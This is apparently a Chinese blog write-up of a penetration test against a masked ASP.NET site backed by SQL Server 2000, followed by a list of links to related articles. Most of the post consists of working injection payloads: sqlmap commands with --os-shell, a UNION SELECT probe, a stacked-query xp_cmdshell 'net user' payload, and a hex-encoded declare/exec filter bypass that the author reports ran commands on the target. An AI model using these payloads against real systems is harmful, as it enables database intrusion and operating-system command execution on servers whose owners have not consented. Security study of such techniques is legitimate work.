【sql server inject】使用动态查询执行sql语句实例
应某少年要求授权测试一个存在报错注入点的站点,可读取数据库名,但是sqlmap执行–os-shell选项就会莫名当掉;
分步骤测试了几次,发现xp_cmdshell是开启状态,但用sqlmap注入却无法利用XP_cmdshell执行命令?
正好最近在读【SQL注入攻击与防御】,感觉这真是一个值得实践的好目标!
为了简化测试步骤,所以文章分为5次进行记录;
0x1 sqlmap常用语句测试
测试1目的:执行cmd命令
测试1结果,测试初期无法连接;
-----------------------------------------------------
C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
aspx?KeyName=1&KeyWord=1"--level 5--risk 3--technique BST --batch --os-shell
回显数据包【LOG】文件
---
Parameter:KeyWord(GET)
Type:boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload:KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
---
[00:26:38][INFO] the back-end DBMS isMicrosoft SQL Server
web server operating system:Windows2003or XP
web application technology: ASP.NET,Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS:Microsoft SQL Server2000
[00:26:38][CRITICAL] unable to prompt for an interactive operating system shell
via the back-end DBMS because stacked queries SQL injection isnot supported
测试2目的:执行获取数据库名;
测试2结果:获取成功,判断是某个关键字被过滤了。
-----------------------------------------------------
C:\Users\Administrator>sqlmap -u "http://www.****.com/Index/SearchResult.
aspx?KeyName=1&KeyWord=1" --level 5 --risk 3 --technique BST --batch --dbs
回显数据包 【LOG】文件
---
Parameter: KeyWord (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: KeyName=1&KeyWord=1%' AND 1799=1799 AND '%'='
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
available databases [7]:
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] w**er
0x2 手工测试关键字过滤情况
测试3目的:获取数据库名
测试3结果:执行成功;
-----------------------------------------------------
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,DB_NAME(5),3,4,5 FROM master..sysdatabases-- -
测试4目的:查wooyundrops尝试手工输入sql语句利用xp_cmdshell执行命令
测试4结果:无法连接服务器,返回404页面;
-----------------------------------------------------
;EXEC master..xp_cmdshell 'net user'-- -
测试5目的:尝试加入%符号到关键字中,输出关键字判断哪个关键字被过滤;
测试5结果:xp_cmdshell,sp_configure又没有过滤了?但是匹配到”’的时候,出现一个sql语句错误。应该是(’)单引号被解析到正常语句中了
-----------------------------------------------------
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%' UNION ALL SELECT 1,‘xp
_shell’,3,4,5-- -
测试目标报出的错误;
“/”应用程序中的服务器错误。
在关键字'And'附近有语法错误。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Exception:在关键字'And'附近有语法错误。
解决:尝试用declare设置十六进制绕过;
本地测试:
-------------------
declare @a sysname
select@a=
exec master.dbo.xp_cmdshell @a
本地测试语句,其中【0x770068006F0061006D006900】解码后是【whoami】:
SELECT TOP 2[id]
,[name]
FROM [personnel].[dbo].[management];declare @a sysname select@a=0x770068006F0061006D006900exec master.dbo.xp_cmdshell @a;
本地测试结果见tu1.jpg
测试结果:目标无回显,但执行写入文件的命令是成功了。
http://www.****.com/Index/SearchResult.aspx?KeyName=1&KeyWord=1%’ ;declare @a sysname select @a=0x770068006F0061006D006900 exec master.dbo.xp_cmdshell @a;– -
留下旗标;
【sql server inject】使用动态查询执行sql语句实例的更多相关文章
- c#Winform程序调用app.config文件配置数据库连接字符串 SQL Server文章目录 浅谈SQL Server中统计对于查询的影响 有关索引的DMV SQL Server中的执行引擎入门 【译】表变量和临时表的比较 对于表列数据类型选择的一点思考 SQL Server复制入门(一)----复制简介 操作系统中的进程与线程
c#Winform程序调用app.config文件配置数据库连接字符串 你新建winform项目的时候,会有一个app.config的配置文件,写在里面的<connectionStrings n ...
- Sql Server来龙去脉系列之三 查询过程跟踪
我们在读写数据库文件时,当文件被读.写或者出现错误时,这些过程活动都会触发一些运行时事件.从一个用户角度来看,有些时候会关注这些事件,特别是我们调试.审核.服务维护.例如,当数据库错误出现.列数据被更 ...
- 使用CASE表达式替代SQL Server中的动态SQL
原文:使用CASE表达式替代SQL Server中的动态SQL 翻译自: http://www.mssqltips.com/sqlservertip/1455/using-the-case-expre ...
- 理解性能的奥秘——应用程序中慢,SSMS中快(6)——SQL Server如何编译动态SQL
本文属于<理解性能的奥秘--应用程序中慢,SSMS中快>系列 接上文:理解性能的奥秘--应用程序中慢,SSMS中快(5)--案例:如何应对参数嗅探 我们抛开参数嗅探的话题,回到了本系列的最 ...
- 在SQL Server 2016里使用查询存储进行性能调优
作为一个DBA,排除SQL Server问题是我们的职责之一,每个月都有很多人给我们带来各种不能解释却要解决的性能问题. 我就多次听到,以前的SQL Server的性能问题都还好且在正常范围内,但现在 ...
- Sql Server 带参数的存储过程执行方法
Sql Server 带参数的存储过程执行方法 Visual C# 动态操作 SQL Server 数据库实例教程(4):带参数的存储过程执行方法 上一篇文章介绍了带参数的SQL语句执行方法和不带参数 ...
- Querying Microsoft SQL Server 2012 读书笔记:查询和管理XML数据 2 -使用XQuery 查询XML数据
XQuery 是一个浏览/返回XML实例的标准语言. 它比老的只能简单处理节点的XPath表达式更丰富. 你可以同XPath一样使用.或是遍历所有节点,塑造XML实例的返回等. 作为一个查询语言, 你 ...
- SQL Server,Access数据库查询易混点和C#中parameter指定参数长度的优缺点
在学校的时候就经常做一些网站,所以这次在公司实习,组长第一次给了一个企业的网站还是很快的完成了.中间并没有遇到什么大的问题,但是还是遇到了两个新手非常容易混淆的小问题,所以拿出来跟大家分享一下. 主要 ...
- 优化SQL Server的内存占用之执行缓存
在论坛上常见有朋友抱怨,说SQL Server太吃内存了.这里笔者根据经验简单介绍一下内存相关的调优知识 首先说明一下SQL Server内存占用由哪几部分组成.SQL Server占用的内存主要 ...
随机推荐
- BurpSuite Intruder模块匹配返回包内容
很多时候burpsuite intruder爆破我们是看返回包的长度,那么如何根据返回包的内容来做筛选呢? 这里我用的本地某cms环境做个演示 Intruder模块怎么用的不用介绍了吧 直接进入正题 ...
- Nginx 安装配置【必须把文件到放到机器上】
[必须把所有下载的gz文件到放到机器上:编译] 1.安装nginx之前的编译软件 yum -y install make zlib zlib-devel gcc-c++ libtool openss ...
- 第12组 Alpha冲刺(2/6)
Header 队名:To Be Done 组长博客 作业博客 团队项目进行情况 燃尽图(组内共享) 展示Git当日代码/文档签入记录(组内共享) 注: 由于GitHub的免费范围内对多人开发存在较多限 ...
- [CF 718C] Sasha and Array
传送门 Solution 用线段树维护矩阵 第一个操作相当于区间乘 第二个操作相当于区间求和 Code #include<bits/stdc++.h> #define ll long l ...
- C#题(子文章)(持续更新)
-----> 总文章 入口 文章目录 [-----> 总文章 入口](https://blog.csdn.net/qq_37214567/article/details/90174445) ...
- 利用python的matplotlib处理计算数据
#!/usr/bin/python # -*- coding: UTF-8 -*- import numpy as np import matplotlib.pyplot as plt import ...
- MySQL Online DDL导致全局锁表案例分析
MySQL Online DDL导致全局锁表案例分析 我这边遇到了什么问题? 线上给某个表执行新增索引SQL, 然后整个数据CPU打到100%, 连接数暴增到极限, 最后导致所有访问数据库的应用都奔溃 ...
- RabbitMQ入门学习系列(四) 发布订阅模式
发布订阅模式 什么时发布订阅模式 把消息发送给多个订阅者.也就是有多个消费端都完整的接收生产者的消息 换句话说 把消息广播给多个消费者 消息模型的核心 RabbitMQ不发送消息给队列,生产者也不知道 ...
- ADO.NET五大对象增删改查使用
string ConnStr = "Data Source=.;Initial Catalog=ADO_DEMO;Integrated Security=True"; #regio ...
- Oracle备份的几种方式
这里使用Oracle 12C来大概演示说明一下rman的基本用法,这里不会深入讨论,因为本人也只是刚刚才接触,只是结合了网上的一些文章以及自己的实践来总结并拿出来大家学习,谢谢 目录 一.关于备份与恢 ...